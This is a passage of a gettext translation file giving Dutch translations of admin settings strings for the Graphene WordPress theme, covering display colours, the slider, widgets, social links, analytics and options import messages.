kleur de standaard waarde te herstellen klik op \"Wissen\". Het thema zorgt ervoor dat dan de standaard kleur wordt hersteld." # @ graphene #: admin/options-display.php:380 msgid "Content area" msgstr "Inhoudsgebied" # @ graphene #: admin/options-display.php:384 msgid "Main content wrapper background" msgstr "Hoofd inhoud wrapper achtergrond" # @ graphene #: admin/options-display.php:385 msgid "Post and pages content background" msgstr "Bericht en pagina inhoud achtergrond" # @ graphene #: admin/options-display.php:386 msgid "Post meta and footer border" msgstr "Bericht meta en onderste rand" # @ graphene #: admin/options-display.php:387 msgid "Post and pages top border" msgstr "Bericht en pagina bovenste rand" # @ graphene #: admin/options-display.php:388 msgid "Post and pages bottom border" msgstr "Bericht en pagina onderste rand" # @ graphene #: admin/options-display.php:398 #: admin/options-display.php:428 #: admin/options-display.php:454 #: admin/options-display.php:481 #: admin/options-display.php:510 #: admin/options-display.php:646 #: admin/options-display.php:667 msgid "Clear" msgstr "Wissen" # @ graphene #: admin/options-display.php:405 msgid "Widgets" msgstr "Widgets" # @ graphene #: admin/options-display.php:408 msgid "Widget preview" msgstr "Widget voorbeeld" # @ graphene #: admin/options-display.php:409 msgid "Widget title" msgstr "Widget titel" # @ graphene #: admin/options-display.php:409 msgid "List item" msgstr "Lijst item" # @ graphene #: admin/options-display.php:413 msgid "Widget item background" msgstr "Widget item achtergrond" # @ graphene #: admin/options-display.php:414 msgid "Widget item list border" msgstr "Widget item lijst rand" # @ graphene #: admin/options-display.php:415 msgid "Widget header border" msgstr "Widget bovenkant rand" # @ graphene #: admin/options-display.php:416 msgid "Widget title colour" msgstr "Widget titel kleur" # @ graphene #: admin/options-display.php:417 msgid "Widget title text shadow colour" msgstr "Widget titel tekst schaduw kleur" # @ graphene #: admin/options-display.php:418 msgid "Widget header gradient bottom colour" msgstr "Widget titel gradiënt onderste kleur" # @ graphene #: admin/options-display.php:419 msgid "Widget header gradient top colour" msgstr "Widget titel gradiënt bovenste kleur" # @ graphene #: admin/options-display.php:436 msgid "Slider" msgstr "Slider" # @ graphene #: admin/options-display.php:439 msgid "Slider background preview" msgstr "Slider achterground voorbeeld" # @ graphene #: admin/options-display.php:444 msgid "Slider top left colour" msgstr "Slider kleur - links boven" # @ graphene #: admin/options-display.php:445 msgid "Slider bottom right colour" msgstr "Slider kleur - rechts onder" # @ graphene #: admin/options-display.php:462 msgid "Block buttons" msgstr "Blok knoppen" # @ graphene #: admin/options-display.php:465 msgid "Block button preview" msgstr "Blok knoppen voorbeeld" # @ graphene #: admin/options-display.php:466 msgid "Button label" msgstr "Knop tekst" # @ graphene #: admin/options-display.php:470 msgid "Button background colour" msgstr "Knop achterground kleur" # @ graphene #: admin/options-display.php:471 msgid "Button label colour" msgstr "Knop tekst kleur" # @ graphene #: admin/options-display.php:472 msgid "Button label text shadow" msgstr "Knop tekst schaduw" # @ graphene #: admin/options-display.php:489 msgid "Archive title" msgstr "Archief titel" # @ graphene #: admin/options-display.php:492 msgid "Archive title preview" msgstr "Archief titel voorbeeld" # @ graphene #: admin/options-display.php:493 msgid "Archive title:" msgstr "Archief titel:" # @ graphene #: admin/options-display.php:493 msgid "Sample title" msgstr "Voorbeeld titel" # @ graphene #: admin/options-display.php:497 msgid "Archive background gradient left colour" msgstr "Archief titel achterground gradiënt kleur links" # @ graphene #: admin/options-display.php:498 msgid "Archive background gradient right colour" msgstr "Archief titel achterground gradiënt kleur rechts" # @ graphene #: admin/options-display.php:499 msgid "Archive label colour" msgstr "Archief label tekst kleur" # @ graphene #: admin/options-display.php:500 msgid "Archive text colour" msgstr "Archief tekst kleur" # @ graphene #: admin/options-display.php:501 msgid "Archive label and text shadow colour" msgstr "Archief titel tekst schaduw kleur" # @ graphene #: admin/options-display.php:525 msgid "Text Style Options" msgstr "Tekst opmaak instellingen" # @ graphene #: admin/options-display.php:528 msgid "Note that these are CSS properties, so any valid CSS values for each particular property can be used." msgstr "Let op: dit zijn CSS eigenschappen, dit wil zeggen dat alleen valide CSS waarden gebruikt kunnen worden voor elke instelling." # @ graphene #: admin/options-display.php:529 msgid "Some example CSS properties values:" msgstr "Enkele voorbeeld CSS waarden" # @ graphene #: admin/options-display.php:532 msgid "Text font:" msgstr "Lettertype:" # @ graphene #: admin/options-display.php:536 msgid "Text size and line height:" msgstr "Tekstgrootte en regelhoogte:" # @ graphene #: admin/options-display.php:540 msgid "Text weight:" msgstr "Tekstbreedte:" # @ graphene #: admin/options-display.php:544 msgid "Text style:" msgstr "Tekststijl:" # @ graphene #: admin/options-display.php:548 msgid "Text colour:" msgstr "Tekstkleur:" # @ graphene #: admin/options-display.php:553 msgid "Header Text" msgstr "Hoofd tekst" # @ graphene #: admin/options-display.php:557 msgid "Title text font" msgstr "Titel lettertype" # @ graphene #: admin/options-display.php:563 msgid "Title text size" msgstr "Titel tekstgrootte" # @ graphene #: admin/options-display.php:569 msgid "Title text weight" msgstr "Titel tekstbreedte" # @ graphene #: admin/options-display.php:575 msgid "Title text line height" msgstr "Titel regelhoogte" # @ graphene #: admin/options-display.php:581 msgid "Title text style" msgstr "Titel tekststijl" # @ graphene #: admin/options-display.php:590 msgid "Description text font" msgstr "Omschrijving lettertype" # @ graphene #: admin/options-display.php:596 msgid "Description text size" msgstr "Omschrijving tekstgrootte" # @ graphene #: admin/options-display.php:602 msgid "Description text weight" msgstr "Omschrijving tekstbreedte" # @ graphene #: admin/options-display.php:608 msgid "Description text line height" msgstr "Omschrijving regelhoogte" # @ graphene #: admin/options-display.php:614 msgid "Description text style" msgstr "Omschrijving tekststijl" # @ graphene #: admin/options-display.php:620 msgid "Content Text" msgstr "Inhoud tekst" # @ graphene #: admin/options-display.php:624 msgid "Text font" msgstr "Lettertype" # @ graphene #: admin/options-display.php:630 msgid "Text size" msgstr "Grootte" # @ graphene #: admin/options-display.php:636 msgid "Text line height" msgstr "Tekst regelhoogte" # @ graphene #: admin/options-display.php:642 msgid "Text colour" msgstr "Kleur" # @ graphene #: admin/options-display.php:652 msgid "Link Text" msgstr "Koppeling tekst" # @ graphene #: admin/options-display.php:656 msgid "Link colour (normal state )" msgstr "Koppeling kleur (standaard)" # @ graphene #: admin/options-display.php:657 msgid "Link colour (visited state )" msgstr "Koppeling kleur (bezochte koppelingen)" # @ graphene #: admin/options-display.php:658 msgid "Link colour (hover state )" msgstr "Koppeling kleur (bij mouse-over)" # @ graphene #: admin/options-display.php:675 msgid "Text decoration (normal state )" msgstr "Tekst decoratie (standaard)" # @ graphene #: admin/options-display.php:681 msgid "Text decoration (hover state )" msgstr "Tekst decoratie (bij mouse-over)" # @ graphene #: admin/options-display.php:694 msgid "Footer Widget Display Options" msgstr "Voettekst widget weergave instellingen" # @ graphene #: admin/options-display.php:700 msgid "Number of columns to display" msgstr "Aantal weer te geven kolommen" # @ graphene #: admin/options-display.php:707 msgid "Number of columns to display for front page footer widget" msgstr "Aantal weer te geven kolommen op de startpagina" # @ graphene #: admin/options-display.php:721 msgid "Navigation Menu Display Options" msgstr "Navigatie menu weergave instellingen" # @ graphene #: admin/options-display.php:727 msgid "Dropdown menu item width" msgstr "Dropdown menu (element) breedte" # @ graphene #: admin/options-display.php:733 msgid "Disable description in Header Menu" msgstr "Omschrijvingen in hoofdmenu uitschakelen" # @ graphene #: admin/options-display.php:741 msgid "Description for default menu \"Home\" item" msgstr "Omschrijving van het standaard "Home" menu item" # @ graphene #: admin/options-display.php:757 msgid "Miscellaneous Display Options" msgstr "Diverse weergave instellingen" # @ graphene #: admin/options-display.php:760 msgid "Site title options" msgstr "Site titel instellingen" # @ graphene #: admin/options-display.php:761 msgid "Use these tags to customise your own site title structure: <code>#site-name</code>, <code>#site-desc</code>, <code>#post-title</code>" msgstr "Gebruik deze codes om een aangepaste site titel te maken: <code>#site-name</code>, <code>#site-desc</code>, <code>#post-title</code>" # @ graphene #: admin/options-display.php:765 msgid "Custom front page site title" msgstr "Aangepaste startpagina site titel" # @ graphene #: admin/options-display.php:769 msgid "Defaults to <code>#site-name » #site-desc</code>. The <code>#post-title</code> tag cannot be used here." msgstr "Standaar waarde: <code>#site-name » #site-desc</code>. De <code>#post-title</code> code kan hier niet gebruikt worden." # @ graphene #: admin/options-display.php:774 msgid "Custom content pages site title" msgstr "Aangepaste pagina site titel" # @ graphene #: admin/options-display.php:778 msgid "Defaults to <code>#post-title » #site-name</code>." msgstr "Standaard waarde: <code>#post-title » #site-name</code>." # @ graphene #: admin/options-display.php:783 msgid "Favicon options" msgstr "Favicon instellingen" # @ graphene #: admin/options-display.php:787 msgid "Favicon URL" msgstr "Favicon URL" # @ graphene #: admin/options-display.php:791 #: admin/options-general.php:98 msgid "Upload or select image from gallery" msgstr "Afbeelding uploaden of selecteren uit de gallerij" # @ graphene #: admin/options-display.php:791 msgid "Simply enter the full URL to your favicon file here to enable favicon. Make sure you include the <code>http://</code> in front of the URL as well. Or use the WordPress media uploader to upload an image, or select one from the media library." msgstr "Voer hier de volledige URL van je favicon in om deze te activeren. Zorg ervoor dat je <code>http://</code> gebruikt vooraan in de URL. Of maak gebruik van de WordPress media uploader om een afbeelding te uploaden of kies er een uit de gallerij." # @ graphene #: admin/options-display.php:796 msgid "WordPress Editor options" msgstr "WordPress berichtenbox (editor) instellingen" #: admin/options-display.php:800 msgid "Disable custom editor styles" msgstr "Aangepaste berichtenbox (editor) stylen uitschakelen" # @ graphene #: admin/options-display.php:813 msgid "Custom CSS" msgstr "Aangepaste CSS" # @ graphene #: admin/options-display.php:818 msgid "Custom CSS styles" msgstr "Aangepaste CSS stijlen" # @ graphene #: admin/options-display.php:820 msgid "You can enter your own CSS codes below to modify any other aspects of the theme's appearance that is not included in the options." msgstr "Hieronder kan je eigen CSS toevoegen om de weergave van het thema verder aan te passen dan mogelijk is middels de instellingen van het thema. " # @ graphene #: admin/options-general.php:12 msgid "Slider Options" msgstr "Slider instellingen" # @ graphene #: admin/options-general.php:18 msgid "Disable slider" msgstr "Slider uitschakelen" # @ graphene #: admin/options-general.php:26 msgid "What do you want to show in the slider" msgstr "Wat wil je weergeven in de slider" # @ graphene #: admin/options-general.php:30 msgid "Show latest posts" msgstr "Laatste berichten weergeven" # @ graphene #: admin/options-general.php:33 msgid "Show random posts" msgstr "Willekeurige berichten weergeven" # @ graphene #: admin/options-general.php:36 msgid "Show specific posts/pages" msgstr "Specifieke berichten/pagina's weergeven" # @ graphene #: admin/options-general.php:39 msgid "Show posts from categories" msgstr "Berichten en categoriën weergeven" # @ graphene #: admin/options-general.php:44 #: admin/options-general.php:258 msgid "Posts and/or pages to display" msgstr "Berichten en/of pagina's om weer te geven" # @ graphene #: admin/options-general.php:49 #: admin/options-general.php:263 msgid "Enter ID of posts and/or pages to be displayed, separated by comma. Example: <code>1,13,45,33</code>" msgstr "Voer ID(s) van berichten en/of pagina's in die moeten worden weergegeven, gescheiden door een komma. Voorbeeld: <code>1,13,45,33</ code>" # @ graphene #: admin/options-general.php:50 msgid "Applicable only if <strong>Show specific posts/pages</strong> is selected above." msgstr "Alleen van toepassing als <strong>Toon specifieke berichten / pagina's</strong> hierboven is geselecteerd." # @ graphene #: admin/options-general.php:56 msgid "Categories to display" msgstr "Categoriën om weer te geven" # @ graphene #: admin/options-general.php:57 msgid "All posts within the categories selected here will be displayed on the slider. Usage example: create a new category \"Featured\" and assign all posts to be displayed on the slider to that category, and then select that category here." msgstr "Alle berichten uit de geselecteerde categorie worden getoond in de slider. Voorbeeld: maak een nieuwe categorie genaamd \"Aanbevolen\" en koppel alle berichten die weergegeven dienen te worden in de slider aan deze categorie, en kies daarna deze categorie hier." # @ graphene #: admin/options-general.php:73 msgid "Number of posts to display" msgstr "Aantal weer te geven berichten" # @ graphene #: admin/options-general.php:104 msgid "Slider display style" msgstr "Slider weergave" # @ graphene #: admin/options-general.php:108 msgid "Thumbnail and excerpt" msgstr "Miniatuurafbeelding en samenvatting" # @ graphene #: admin/options-general.php:109 msgid "Background image and excerpt" msgstr "Achtergrondafbeelding en samenvatting" # @ graphene #: admin/options-general.php:110 msgid "Full post content" msgstr "Volledige bericht inhoud" # @ graphene #: admin/options-general.php:116 msgid "Slider animation" msgstr "Slider animatie" # @ graphene #: admin/options-general.php:121 msgid "Horizontal slide" msgstr "Horizontaal schuiven" # @ graphene #: admin/options-general.php:122 msgid "Vertical slide" msgstr "Vertikaal schuiven" # @ graphene #: admin/options-general.php:123 msgid "Fade" msgstr "Overgang" # @ graphene #: admin/options-general.php:124 msgid "No effect" msgstr "Geen effect" # @ graphene #: admin/options-general.php:130 msgid "Slider height" msgstr "Slider hoogte" # @ graphene #: admin/options-general.php:138 msgid "Slider speed" msgstr "Slider snelheid" # @ graphene #: admin/options-general.php:141 #: admin/options-general.php:150 msgid "milliseconds" msgstr "milliseconden" # @ graphene #: admin/options-general.php:142 msgid "This is the duration that each slider item will be shown" msgstr "Dit is de tijdsduur dat ieder slider item wordt weergegeven" # @ graphene #: admin/options-general.php:147 msgid "Slider transition speed" msgstr "Slider overgang snelheid" # @ graphene #: admin/options-general.php:151 msgid "This is the speed of the slider transition. Lower values = higher speed." msgstr "Dit is de snelheid van de slider overgang. Lagere waarden = hogere snelheid." # @ graphene #: admin/options-general.php:156 msgid "Move slider to bottom of page" msgstr "Slider onderaan de pagina tonen" # @ graphene #: admin/options-general.php:169 msgid "Front Page Options" msgstr "Start pagina instellingen" # @ graphene #: admin/options-general.php:175 msgid "Front page posts categories" msgstr "Start pagina bericht categoriën" # @ graphene #: admin/options-general.php:177 msgid "Only posts that belong to the categories selected here will be displayed on the front page. Does not affect Static Front Page." msgstr "Alleen berichten die toebehoren aan de geselecteerde categorie worden getoond op de start pagina. Deze instelling heeft geen invloed op de statische startpagina." # @ graphene #: admin/options-general.php:182 msgid "--Disabled--" msgstr "--Uitgeschakeld--" # @ graphene #: admin/options-general.php:190 msgid "You may select multiple categories by holding down the CTRL key." msgstr "Je kan meerdere categoriën selecteren door de CTRL toets ingedrukt te houden." # @ graphene #: admin/options-general.php:202 msgid "Homepage Panes" msgstr "Startpagina panelen" # @ graphene #: admin/options-general.php:209 msgid "Disable homepage panes" msgstr "Startpagina panelen uitschakelen" # @ graphene #: admin/options-general.php:219 msgid "Type of content to show" msgstr "Type inhoud om te tonen" # @ graphene #: admin/options-general.php:226 msgid "Latest posts by category" msgstr "Laatste berichten per categorie" # @ graphene #: admin/options-general.php:229 msgid "Posts and/or pages" msgstr "Berichten en/of pagina's" # @ graphene #: admin/options-general.php:234 msgid "Number of latest posts to display" msgstr "Aantal laatste berichten om weer te geven" # @ graphene #: admin/options-general.php:238 msgid "Applicable only if <strong>Latest posts</strong> or <strong>Latest posts by category</strong> is selected above." msgstr "Alleen van toepassing indien <strong> Laatste berichten </ strong> of <strong> Laatste berichten per categorie </ strong> is geselecteerd hierboven." # @ graphene #: admin/options-general.php:243 msgid "Category to show latest posts from" msgstr "Categorie waarvan de laatste berichten getoond moeten worden" # @ graphene #: admin/options-general.php:253 msgid "Applicable only if <strong>Latest posts by category</strong> is selected above." msgstr "Alleen van toepassing indien <strong>Laatste berichten per categorie</ strong> is geselecteerd hierboven." # @ graphene #: admin/options-general.php:264 msgid "Applicable only if <strong>Posts and/or pages</strong> is selected above." msgstr "Alleen van toepassing indien <strong>berichten en/of pagina's</strong> is geselecteerd hierboven." # @ graphene #: admin/options-general.php:270 msgid "<strong>Note:</strong> homepage panes are only displayed when using a <a href=\"http://codex.wordpress.org/Creating_a_Static_Front_Page\">static front page</a>." msgstr "<strong>Opmerking:</strong> de startpagina panelen worden alleen getoond als je gebruik maakt van een <a href=\"http://codex.wordpress.org/Creating_a_Static_Front_Page\">statische startpagina</a>." # @ graphene #: admin/options-general.php:280 msgid "Comments Options" msgstr "Reactie instellingen" # @ graphene #: admin/options-general.php:286 msgid "Commenting" msgstr "Reacties" # @ graphene #: admin/options-general.php:290 msgid "Use WordPress settings" msgstr "Gebruik de WordPress instellingen" # @ graphene #: admin/options-general.php:291 msgid "Disabled for pages" msgstr "Voor pagina's uitschakelen" # @ graphene #: admin/options-general.php:292 msgid "Disabled completely" msgstr "Volledig uitschakelen" # @ graphene #: admin/options-general.php:294 msgid "Note: this setting overrides the global WordPress Discussion Setting called \"Allow people to post comments on new articles\" and also the \"Allow comments\" option for individual posts/pages." msgstr "Opmerking: Deze instelling overschrijft zowel de globale WordPress Reacties optie genaamd \"Sta toe dat bezoekers kunnen reageren op nieuwe artikelen\" als de \"Reacties toestaan.\" optie voor individuele berichten en pagina's." # @ graphene #: admin/options-general.php:306 msgid "Child Page Options" msgstr "Onderliggende pagina instellingen" # @ graphene #: admin/options-general.php:312 msgid "Hide parent box if content is empty" msgstr "Bovenliggende pagina verbergen als de inhoud leeg is" # @ graphene #: admin/options-general.php:318 msgid "Child page listings" msgstr "Onderliggende pagina weergave" # @ graphene #: admin/options-general.php:322 msgid "Show listing" msgstr "Tonen" # @ graphene #: admin/options-general.php:323 msgid "Hide listing" msgstr "Verbergen" # @ graphene #: admin/options-general.php:324 msgid "Only show listing if parent content is empty" msgstr "Alleen tonen als de bovenliggende pagina leeg is" # @ graphene #: admin/options-general.php:337 msgid "Widget Area Options" msgstr "Widget gebied instellingen" # @ graphene #: admin/options-general.php:340 msgid "Header widget area" msgstr "Bovenkant widget gebied" # @ graphene #: admin/options-general.php:341 msgid "<strong>Important:</strong> This widget area is unstyled, as it is often used for advertisement banners, etc. If you enable it, make sure you style it to your needs using the Custom CSS option." msgstr "<strong>Belangrijk:</strong> Dit widget gebied is niet gestyled, omdat het vaak gebruikt wordt voor reclame banners en dergelijke. Als je dit widget activeerd, zorg er dan voor dat je het opmaakt via de aangepaste CSS optie." # @ graphene #: admin/options-general.php:345 msgid "Enable header widget area" msgstr "Activeer bovenkant widget gebied" # @ graphene #: admin/options-general.php:354 msgid "Alternate Widgets" msgstr "Alternatieve widgets" # @ graphene #: admin/options-general.php:355 msgid "You can enable the theme to show different widget areas in the front page than the rest of the website. If you enable this option, additional widget areas that will only be displayed on the front page will be added to the Widget settings page." msgstr "Het is mogelijk om andere widget gebieden te tonen op de startpagina dan de rest van de website. Als je deze optie aanvinkt, worden er op de widget instellingen pagina widget gebieden toegevoegd die alleen weergegeven worden op de startpagina." # @ graphene #: admin/options-general.php:358 msgid "Enable alternate front page sidebar widget area" msgstr "Activeer alternatief startpagina zijkant widget gebied" # @ graphene #: admin/options-general.php:362 msgid "Enable alternate front page footer widget area" msgstr "Activeer alternatief startpagina voettekst widget gebied" # @ graphene #: admin/options-general.php:363 msgid "You can also specify different column counts for the front page footer widget and the rest-of-site footer widget if you enable this option." msgstr "Het is ook mogelijk om afwijkende kolom aantallen in te stellen voor het startpagina voettekst widget en de rest van de website als je deze optie aanvinkt." # @ graphene #: admin/options-general.php:376 msgid "Top Bar Options" msgstr "Hoofd balk instellingen" # @ graphene #: admin/options-general.php:382 msgid "Hide the top bar" msgstr "Bovenste balk verbergen" # @ graphene #: admin/options-general.php:390 msgid "Hide feed icon" msgstr "RSS-feed icoon verbergen" # @ graphene #: admin/options-general.php:394 msgid "Use custom feed URL" msgstr "Eigen feed (URL)" # @ graphene #: admin/options-general.php:397 msgid "This custom feed URL will replace the default WordPress RSS feed URL." msgstr "De eigen feed URL vervangt de standaard WordPress RSS feed URL." # @ graphene #: admin/options-general.php:401 msgid "Open social media links in new window" msgstr "Social media link in een nieuwe pagina openen" # @ graphene #: admin/options-general.php:405 msgid "Twitter URL" msgstr "Twitter URL" # @ graphene #: admin/options-general.php:408 msgid "Enter the URL to your Twitter page." msgstr "Voer de URL in van uw Twitter pagina" # @ graphene #: admin/options-general.php:412 msgid "Facebook URL" msgstr "Facebook URL" # @ graphene #: admin/options-general.php:415 msgid "Enter the URL to your Facebook profile page." msgstr "Voer de URL in van uw Facebook profiel pagina" # @ graphene #. translators: %s will be replaced by the social media service name. Example: LinkedIn Title #: admin/options-general.php:426 #, php-format msgid "%s Title" msgstr "%s titel" # @ graphene #: admin/options-general.php:431 #, php-format msgid "The title is empty and the following title will be shown: <strong>%s</strong>" msgstr "De titel is leeg en daarom wordt de volgende titel getoond: <strong>%s</strong>" # @ graphene #. translators: %s will be replaced by the social media service name. Example: LinkedIn URL #: admin/options-general.php:437 #, php-format msgid "%s URL" msgstr "%s URL" # @ graphene #. translators: %s will be replaced by the social media service name. Example: LinkedIn icon URL #: admin/options-general.php:442 #, php-format msgid "%s icon URL" msgstr "%s icoon URL" # @ graphene #: admin/options-general.php:445 msgid "Delete" msgstr "Verwijderen" # @ graphene #: admin/options-general.php:453 msgid "Add new social media icon" msgstr "Nieuw social media icoon toevoegen" # @ graphene #: admin/options-general.php:465 msgid "Social Sharing Buttons" msgstr "Knoppen voor Social Sharing" # @ graphene #: admin/options-general.php:470 msgid "Show social sharing button" msgstr "Social Sharing knop weergeven" # @ graphene #: admin/options-general.php:476 msgid "Show in Pages as well?" msgstr "Ook op pagina's tonen?" # @ graphene #: admin/options-general.php:480 msgid "Social sharing buttons location" msgstr "Social sharing knoppen locatie" # @ graphene #: admin/options-general.php:483 msgid "Bottom of posts" msgstr "Onderaan berichten" # @ graphene #: admin/options-general.php:484 msgid "Top of posts" msgstr "Bovenaan berichten" # @ graphene #: admin/options-general.php:485 msgid "Both top and bottom" msgstr "Zowel onder- als bovenaan berichten" # @ graphene #: admin/options-general.php:491 msgid "Your social sharing button code" msgstr "Uw Social Sharing knop code" # @ graphene #: admin/options-general.php:492 msgid "You can use codes from any popular social sharing sites, like Facebook, Digg, AddThis, etc." msgstr "Het is mogelijk om gebruik te maken van de codes van alle social sharing websites, zoals Facebook, Digg, AddThis, etc." # @ graphene #: admin/options-general.php:495 msgid "You may use these tags to get the post's URL, title, and excerpt:" msgstr "Je kan deze tags gebruiken om de post URL, titel en uittreksel te krijgen:" # @ graphene #: admin/options-general.php:507 msgid "Adsense Options" msgstr "Adsense instellingen" # @ graphene #: admin/options-general.php:513 msgid "Show Adsense advertising" msgstr "AdSense advertenties weergeven" # @ graphene #: admin/options-general.php:521 msgid "Show ads on front page as well" msgstr "Ook advertenties op de startpagina weergeven?" # @ graphene #: admin/options-general.php:527 msgid "Your Adsense code" msgstr "Uw AdSense code" # @ graphene #: admin/options-general.php:540 msgid "Google Analytics Options" msgstr "Google Analytics instellingen" # @ graphene #: admin/options-general.php:545 msgid "Enable Google Analytics tracking" msgstr "Google Analytics tracking inschakelen" # @ graphene #: admin/options-general.php:552 msgid "<strong>Note:</strong> the theme now places the Google Analytics script in the <code><head></code> element to better support the new asynchronous Google Analytics script. Please make sure you update your script to use the new asynchronous script from Google Analytics." msgstr "<strong>Opmerking:</strong> het thema plaatst het Google Analytics script in het <code><head></code> element voor betere ondersteuning van het nieuwe asynchrone Google Analytics script. Let op dat je gebruik maakt van het nieuwe asynchronous script voor Google Analytics." # @ graphene #: admin/options-general.php:556 msgid "Google Analytics tracking code" msgstr "Google Analytics tracking code" # @ graphene #: admin/options-general.php:557 msgid "Make sure you include the full tracking code (including the <code><script></code> and <code></script></code> tags) and not just the <code>UA-#######-#</code> code." msgstr "Zorg ervoor dat je de volledige tracking code gebruikt (inclusief de <code><script></code> en <code></script></code> tags) en niet alleen de <code>UA-#######-#</code> code. " # @ graphene #: admin/options-general.php:570 msgid "Footer Options" msgstr "Voettekst instellingen" # @ graphene #: admin/options-general.php:575 msgid "Use Creative Commons licence for content" msgstr "Gebruik de Creative Commons licentie voor inhoud" # @ graphene #: admin/options-general.php:580 msgid "Copyright text (html allowed)" msgstr "Copyright tekst (HTML is toegestaan)" # @ graphene #: admin/options-general.php:581 msgid "If this field is empty, the following default copyright text will be displayed:" msgstr "Als dit veld leeg is dan wordt de volgende standaard copyright tekst weergegeven:" # @ graphene #: admin/options-general.php:587 msgid "Do not show copyright info" msgstr "Copyright informatie niet tonen" # @ graphene #: admin/options-general.php:591 msgid "Do not show the \"Return to top\" link" msgstr "De "Terug naar boven" link niet tonen" # @ graphene #: admin/options-general.php:603 msgid "Print Options" msgstr "Print instellingen" # @ graphene #: admin/options-general.php:608 msgid "Enable print CSS for single posts and pages?" msgstr "Print CSS voor enkele berichten en pagina's inschakelen?" # @ graphene #: admin/options-general.php:614 msgid "Show print button" msgstr "Afdrukken knop weergeven" # @ graphene #: admin/options-import.php:38 #: admin/options-import.php:169 #: admin/options-presets.php:48 #: admin/uninstall.php:32 msgid "ERROR: You are not authorised to perform that operation" msgstr "FOUT: Je bent niet gemachtigd om deze bewerking uit te voeren" # @ graphene #: admin/options-import.php:59 msgid "Before you can upload your import file, you will need to fix the following error:" msgstr "Voordat je je import bestand kan uploaden, dien je de volgende fout verhelpen:" # @ graphene #: admin/options-import.php:65 #: admin/options-import.php:98 msgid "Import Graphene Theme Options" msgstr "Importeer Graphene thema instellingen" # @ graphene #: admin/options-import.php:67 msgid "<strong>Note:</strong> This is an experimental feature. Please report any problem at the <a href=\"http://forum.khairul-syahir.com/forum/bug-report\">Support Forum</a>." msgstr "<strong>Opmerking:</strong> Dit is experimentele functionaliteit. Gelieve alle problemen te melden op het <a href=\"http://forum.khairul-syahir.com/forum/graphene-wordpress-theme\"> Support Forum</a>." # @ graphene #: admin/options-import.php:69 msgid "Choose a file from your computer:" msgstr "Kies een bestand van uw computer:" # @ graphene #: admin/options-import.php:69 #, php-format msgid "Maximum size: %s" msgstr "Maximale grootte: %s" # @ graphene #: admin/options-import.php:76 msgid "Upload file and import" msgstr "Bestand uploaden en importeren" # @ graphene #: admin/options-import.php:141 msgid "Options import completed" msgstr "Het importeren van de instellingen is voltooid" # @ graphene #: admin/options-import.php:142 msgid "Go to the Graphene options page" msgstr "Ga naar Graphene instellingen pagina" # @ graphene #: admin/options-import.php:145 #: admin/options-import.php:150 #: admin/options-import.php:155 msgid "Sorry, there has been an error." msgstr "Sorry, er is een fout opgetreden." # @ graphene #: admin/options-import.php:146 msgid "The uploaded file does not contain valid Graphene options." msgstr "Het geüploade bestand bevat geen geldige Graphene instellingen." # @ graphene #: admin/options-import.php:151 msgid "The uploaded file could not be read." msgstr "Het geüploade bestand kan niet worden gelezen." # @ graphene #: admin/options-import.php:156 msgid "The uploaded file is not supported." msgstr "Het geüploade bestand wordt niet ondersteund." # @ default #: admin/options-import.php:164 msgid "File is empty. Please upload something more substantial. This error could also be caused by uploads being disabled in your php.ini or by post_max_size being defined as smaller than upload_max_filesize in php.ini." msgstr "Bestand is leeg. Upload iets meer substantieels. Deze fout kan ook worden veroorzaakt doordat upload is uitgeschakeld in uw php.ini of doordat post_max_size wordt gedefinieerd als kleiner dan upload_max_filesize in php.ini." # @ graphene #: admin/options-init.php:34 msgid "Graphene Options" msgstr "Graphene instellingen" # @ graphene #: admin/options-init.php:35 msgid "Graphene FAQs" msgstr "Graphene veel gestelde vragen" # @ graphene #: admin/options-init.php:85 msgid "Toggle all options boxes" msgstr "Toggle alle optie groepen" # @ graphene #: admin/options-init.php:127 msgid "Template preview not found." msgstr "Template voorbeeld niet gevonden" # @ graphene #: admin/options-init.php:130 msgid "default" msgstr "standaard" # @ graphene #: admin/options-init.php:186 #: admin/options-init.php:190 msgid "Theme default" msgstr "Thema standaard" # @ graphene #: admin/options-presets.php:36 msgid "The \"Normal website\" settings preset has been applied." msgstr "De \"Normale website\" instellingen zijn toegepast." # @ graphene #: admin/options-presets.php:41 msgid "Settings have been reset." msgstr "De instellingen zijn hersteld." # @ graphene #: admin/options-validator.php:24 msgid "ERROR: Invalid category to show in slider." msgstr "FOUT: ongeldige categorie om in de slider te tonen." # @ graphene #: admin/options-validator.php:27 msgid "ERROR: You must specify the posts/pages to be displayed when you have \"Show specific posts/pages\" selected for the slider." msgstr "FOUT: Er dienen berichten of paginas gekozen te worden wanneer de optie \"Toon geselecteerde berichen/pagina's\" is gekozen voor de slider." # @ graphene #: admin/options-validator.php:30 msgid "ERROR: You must have selected at least one category when you have \"Show posts from categories\" selected for the slider." msgstr "FOUT: Er dient minimaal een categorie gekozen te zijn wanneer de optie \"Toon berichen uit categoriën\" is gekozen voor de slider." # @ graphene #: admin/options-validator.php:40 msgid "ERROR: Invalid category selected for the slider categories." msgstr "FOUT: ongeldige categorie geselecteerd voor de slider categoriën." # @ graphene #: admin/options-validator.php:46 msgid "ERROR: The number of posts to displayed in the slider must be a an integer value." msgstr "FOUT: Het aantal berichten om weer te geven in de slider moet een een geheel getal te zijn." # @ graphene #: admin/options-validator.php:49 msgid "ERROR: Invalid option for the slider image is specified." msgstr "FOUT: Ongeldige optie gekozen voor de slider afbeelding." # @ graphene #: admin/options-validator.php:51 msgid "ERROR: Bad URL entered for the custom slider image URL." msgstr "FOUT: Foutieve URL ingevoerd voor de aangepaste slider afbeelding." # @ graphene #: admin/options-validator.php:53 msgid "ERROR: Invalid option for the slider display style is specified." msgstr "FOUT: Ongeldige optie gekozen voor de slider weergavestijl." # @ graphene #: admin/options-validator.php:55 msgid "ERROR: The value for slider height must be an integer." msgstr "FOUT: De waarde voor slider hoogte moet een geheel getal zijn." # @ graphene #: admin/options-validator.php:57 msgid "ERROR: The value for slider speed must be an integer." msgstr "FOUT: De waarde voor slider snelheid moet een geheel getal zijn." # @ graphene #: admin/options-validator.php:59 msgid "ERROR: The value for slider transition speed must be an integer." msgstr "FOUT: De waarde voor slider overgang snelheid moet een geheel getal zijn." # @ graphene #: admin/options-validator.php:61 msgid "ERROR: Invalid slider animation." msgstr "FOUT: Ongeldige slider animatie." # @ graphene #: admin/options-validator.php:75 msgid "ERROR: Invalid category selected for the front page posts categories." msgstr "FOUT: Ongeldige categorie geselecteerd voor de startpagina berichten." # @ graphene #: admin/options-validator.php:86 msgid "ERROR: Invalid option for the type of content to show in homepage panes." msgstr "FOUT: Ongeldige optie voor het type inhoud dat getoond dient te worden in homepage panelen." # @ graphene #: admin/options-validator.php:88 msgid "ERROR: The value for the number of 